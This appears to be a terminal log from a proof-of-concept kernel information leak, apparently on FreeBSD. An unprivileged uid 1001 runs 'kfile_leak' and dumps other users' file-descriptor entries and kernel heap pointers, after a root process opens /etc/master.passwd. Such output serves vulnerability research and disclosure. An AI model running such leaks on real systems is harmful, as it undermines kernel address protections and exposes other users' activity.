$ vm.sh run_root 'sleep 30 & sleep 30 & sleep 30 < /etc/master.passwd'   # root fd activity
$ ./kfile_leak        (as uid 1001)
uid=1001 fetched 136 kinfo_file entries (9792 bytes)
  pid=278    uid=0      fd=0   type=1 f_file=0xfffff80116c49380 f_data=0xfffff8008f521b00 off=112 fl=3
  pid=278    uid=0      fd=1   type=1 f_file=0xfffff80116c49380 f_data=0xfffff8008f521b00 off=112 fl=3
  pid=278    uid=0      fd=2   type=1 f_file=0xfffff80116c49380 f_data=0xfffff8008f521b00 off=112 fl=3
  pid=278    uid=0      fd=4   type=1 f_file=0xfffff80116c49400 f_data=0xfffff8008f521f80 off=4 fl=4003
  pid=280    uid=77     fd=0   type=1 f_file=0xfffff80116c49380 f_data=0xfffff8008f521b00 off=112 fl=3
  pid=280    uid=77     fd=1   type=1 f_file=0xfffff80116c49380 f_data=0xfffff8008f521b00 off=112 fl=3
  pid=280    uid=77     fd=2   type=1 f_file=0xfffff80116c49380 f_data=0xfffff8008f521b00 off=112 fl=3
  pid=280    uid=77     fd=3   type=2 f_file=0xfffff80117103700 f_data=0xfffff80117b4ea80 off=0 fl=3
entries with kernel pointers: 136
entries belonging to OTHER uids: 120
RESULT: LEAK CONFIRMED (unprivileged uid 1001 sees kernel heap pointers + other users' fd state)